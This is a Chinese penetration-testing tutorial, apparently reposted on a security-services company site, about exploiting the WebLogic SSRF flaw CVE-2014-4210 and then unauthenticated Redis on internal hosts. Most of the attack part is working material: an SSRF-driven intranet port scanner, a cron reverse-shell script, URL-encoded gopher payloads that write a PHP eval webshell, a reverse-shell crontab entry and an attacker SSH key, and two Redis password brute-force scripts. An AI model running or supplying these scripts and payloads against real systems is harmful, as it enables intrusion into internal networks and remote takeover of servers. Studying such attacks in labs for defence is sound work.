实战 | 利用SSRF渗透内网主机-上_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

实战 | 利用SSRF渗透内网主机-上

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


实战 | 利用SSRF渗透内网主机-上

利用WebLogic的SSRF漏洞探测内网信息 漏洞描述 Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 CVE编号:CVE-2014-4210 影响范围: •Oracle WebLogic Server 10.3.6.0•Oracle WebLogic Server 10.0.2.0 环境搭建 下载vulhub:git clone https://github.com/vulhub/vulhub.git 进入目录:cd vulhub/weblogic/ssrf/ 启动环境:docker-compose up -d 访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp 出现以下页面,说明测试环境ok。 漏洞复现 开启Burp代理,提交表单 image-20211127214445369 从返回页面的结果的报错上看,当提交表单的时候会访问下面这个URL,并做XMLSoap解析,这个错误就是我们SSRF漏洞产生的关键点 image-20211127215236521 为了验证是否存在SSRF漏洞,我们将operator的值改为DNSLog生成的记录 image-20211127220322683 在DNSLog中可以看到请求的内容,说明存在SSRF漏洞 探测内网存活IP 若ip不存在时返回如下信息(会一直请求该地址,直到超时) image-20211127233025326 若ip存在则返回如下信息 image-20211127223539057 探测端口 若端口不开放返回如下信息 image-20211127233755211 若端口开放返回如下信息(分两种情况) 若开放的端口为非Web端口 image-20211127224151445 若开放的端口为Web端口(还分为请求类型是否为text/html) text/html类型 image-20211127224433070 非text/html类型 image-20211127224519722 我们可以利用返回信息来进行内网探测 内网探测脚本编写 编写一个python脚本自动化探测内网的存活主机ip与开放端口 #!/usr/bin/env python # coding: utf-8 # 功能:扫描内网开放ip及端口 import argparse import thread import time import re import requests def ite_ip(ip):    for i in range(1, 256):        final_ip = '{ip}.{i}'.format(ip=ip, i=i)        thread.start_new_thread(scan, (final_ip,))        time.sleep(3) def scan(final_ip):    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '6379', '4899', '8080', '7001', '8000')    for port in ports:        vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)        try:            r = requests.get(vul_url, timeout=15, verify=False)             result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)            result1 = re.findall('route to host', r.content)            result2 = re.findall('but could not connect', r.content)            if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:                out = "port exist: " + final_ip + ':' + port                print out                except Exception, e:            pass def get_ip():    vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'     r = requests.get(vul_url, timeout=15, verify=False)    reg = re.compile(r"For example: http://b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) b")    result1 = reg.findall(r.content)    result = ""     if result1:        result = result1[0].replace("For example: http://","")    return result if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')     parser.add_argument('--url', dest='url', required=True, help='Target url')    parser.add_argument('--ip', dest='scan_ip', help='IP to scan')    args = parser.parse_args()    ip = '.'.join(args.scan_ip.split('.')[:-1])    #print ip     #ip = get_ip()     if ip:        ite_ip(ip)    else:        print "no ip" image-20211127234237632 SSRF结合Redis未授权访问GetShell 漏洞描述 Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。 在这里主要讲解SSRF的利用,所以就不对Redis的协议进行分析了,直接使用Exp进行利用。 之后会对Redis的漏洞进行深入学习。 常见redis反弹shell的bash脚本 redis-cli -h $1 -p $2 flushall echo -e "nn*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1nn"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit •flushall:删除所有数据库中的所有key。这行代码感觉不是很有必要。。。•-x参数:从标准输入读取一个参数:•在redis的第0个数据库中添加key为1,value为nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nnn的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。•dir 数据库备份的文件放置路径•Dbfilename 备份文件的文件名 漏洞利用 推荐使用Gopherus可以帮助我们直接生成gopher payload,以利用SSRF GetShell。 项目地址:https://github.com/tarunkant/Gopherus 写入WebShell 利用条件: 1.redis 需要对网站中的目录有写权限2.知道网站绝对路径 使用Gopherus生成payload: ./gopherus.py --exploit redis image-20211129145802825 再对生成的payload进行URL编码,就是我们最终生成的payload image-20211129145938675 放入URL参数浏览器请求如下,成功执行Redis命令写入webshell。 http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527hackme%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A 成功写入WebShell image-20211129152046102 image-20211129153455684 crontab 定时任务反弹 shell 利用条件: •Redis需要使用root用户启用(不是通过service或systemctl启动)•这个方法只能Centos上使用,Ubuntu上行不通,原因如下: 1.因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错 由于系统的不同,crontrab定时文件位置也会不同 Centos的定时任务文件在/var/spool/cron/ Ubuntu定时任务文件在/var/spool/cron/crontabs/ Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的 使用gopher协议写入 使用Gopherus生成payload: ./gopherus.py --exploit redis image-20211129173511057 再对生成的payload进行URL编码,就是我们最终生成的payload image-20211129172300220 放入URL参数浏览器请求如下,成功执行Redis命令,写入计划任务,执行反弹shell。 http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252469%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520/dev/tcp/192.168.123.66/1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A 成功在计划任务中写入反弹shell命令(每分钟执行一次) image-20211129172545796 在攻击机上使用nc启用监听nc -lvp 1234,等待一会成功反弹shell 使用dict协议写入 dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息。 协议格式:dict://:/ 一般为:dict://:/info 探测端口应用信息 执行命令:dict://:/命令:参数 冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis 与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行。 image-20211129174920740 其他的与 gopher 没有太大差别。 在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用。 而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码。 在这里使用了一个大佬写好的python脚本进行利用: #!/usr/bin/python # -*- coding: UTF-8 -*- import urllib2,urllib,binasciiurl = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url="  # 存在 ssrf 的 url target = "dict://127.0.0.1:6379/"  # redis 内网服务器地址 cmds = ['set:mars:\\"\n* * * * * root bash -i >& /dev/tcp/192.168.123.66/9999 0>&1\n\\"',  # shell接收地址与端口号        "config:set:dir:/etc",       "config:set:dbfilename:crontab",       "bgsave"] for cmd in cmds:    cmd_encoder = ""     for single_char in cmd:        # 先转为ASCII         cmd_encoder += hex(ord(single_char)).replace("0x","")    cmd_encoder = binascii.a2b_hex(cmd_encoder)    cmd_encoder = urllib.quote(cmd_encoder,'utf-8')     payload = url + target + cmd_encoder    print payload    request = urllib2.Request(payload)    response = urllib2.urlopen(request).read() 从脚本的执行结果可以看出,dict 协议需要一条一条执行 image-20211129180614201 写入成功 image-20211129191425737 写入SSH公钥 利用条件: •Redis需要使用root用户启用 通过在目标机器上写入 ssh 公钥,然后便可以通过 ssh 免密码登录目标机器。 生成ssh 公/私钥 ssh-keygen -t rsa 一直回车即可 image-20211129190425762 可以在家目录的.ssh/下看到生成的结果,分别为私钥和公钥 image-20211129190733667 未授权访问直接写 Copyflushallset 1 'id_rsa.pub 里的内容'config set dir '/root/.ssh/'config set dbfilename authorized_keyssave 然后通过ssh -i /root/.ssh/id_rsa root@192.168.123.66 即可免密登录远程机器 结合 SSRF 编写脚本将内容转换为 RESP 协议的格式 #!/usr/bin/python # -*- coding: UTF-8 -*- import urllibprotocol="gopher://" ip="192.168.123.66" port="6379" sshpublic_key = "nnid_rsa.pub 里的内容nn" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall",     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"      ] if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_" def redis_format(arr):    CRLF="rn"     redis_arr = arr.split(" ")    cmd=""     cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmd if __name__=="__main__":    for x in cmd:        payload += urllib.quote(redis_format(x))    print urllib.quote(payload) 执行脚本,放入URL参数浏览器请求如下 http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524569%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQCz64S4uDZGCLcmvzAPllttoM8F2ou3gtVJKO41/zA1/v6iDds%252BuNUgaUKC7Ntx%252BHqDTB98Hbl8CmvVkWqvNd3D3lo1KF2qikNuel/Fx4inoi8T8ECGcXqUVkq8mB0sG0opbYTwNnFrwd4sY0eXD%252BhRmwfAfVPLbOGC8hwKPSckUghWm2DAQPSqQPC290CTDcz%252BBxDNAVhbxPH/de0depH6fCoCQOA3CtnabfFU8jVosfR4T2D80BlMtIzo/OsZxzUtUikcN7e1a/vjXy5YrMRAlZ6JxAHrkenhhPEqubpUdIr0vONHsjbfGBnh0T3SS/Tr/EWlTWuSSjF/L%252BMseqIj8ojN0/8EACmyqHWady0ZZNSXW2hNcAey7plp8ETMaXdPiXG1SuVriq/XmN/b80sovkTprHIzJzmaqa2NWNHwXgrtmVHhs7DkN8R6FjsiydzSRBLf9oDg4K6/1tS7TneYHGyp3aNCtmGnXi8TjILbUloPhRzxfHWVwhKfF%252BBTlC0%253D%2520root%2540Ulysses%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A/root/.ssh/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A 可以看到在受害者的机器上成功写入攻击者的公钥 image-20211129193827668 这样一来就可以使用ssh无密码远程登录了 image-20211129194046297 SSRF暴力破解内网Redis弱口令 在内网redis需要密码的情况下,使用dict协议或者gopher协议登录。 使用dict协议暴力破解 在登录错误的情况下返回如下信息 image-20211129200305828 在登录正确的情况下返回如下信息 image-20211129200340232 自动化脚本编写(python3): import urllib.request import urllib.parse url = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url="  # 请输入目标url param = 'dict://192.168.123.188:6379/auth:' with open('passwords.txt', 'r+') as file:    passwds = file.readlines()    for passwd in passwds:        print("正在尝试密码:" + passwd)        passwd = passwd.strip("n")        all_url = url + param + passwd        request = urllib.request.Request(all_url)        response = urllib.request.urlopen(request).read()        # print(response)         if "+OKrn+OKrn".encode() in response:            print("[+] 爆破成功 密码为: " + passwd)            break 使用gopher协议暴力破解 在登录错误的情况下返回如下信息 image-20211129201936583 在登录正确的情况下返回如下信息 image-20211129202016066 自动化脚本编写(python3): import requests target = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url="  # 请输入目标url rhost = "192.168.123.188" rport = "6379" with open("passwords.txt","r+") as file:    passwds = file.readlines()    for passwd in passwds:        print("正在尝试密码:" + passwd)        passwd = passwd.strip("n")        len_pass = len(passwd)        payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"         url = target+str(payload)        text = requests.get(url).text        if "OK" in text:            print("[+] 爆破成功 密码为: " + passwd)            break 注:若redis在受害者本地的服务器,可以直接使用file协议读取配置文件中的密码 常见的Redis配置文件路径如下: •/etc/redis.conf•/etc/redis/redis.conf•/usr/local/redis/etc/redis.conf•/opt/redis/ect/redis.conf 侵权请私聊公众号删文

实战 | 利用SSRF渗透内网主机-上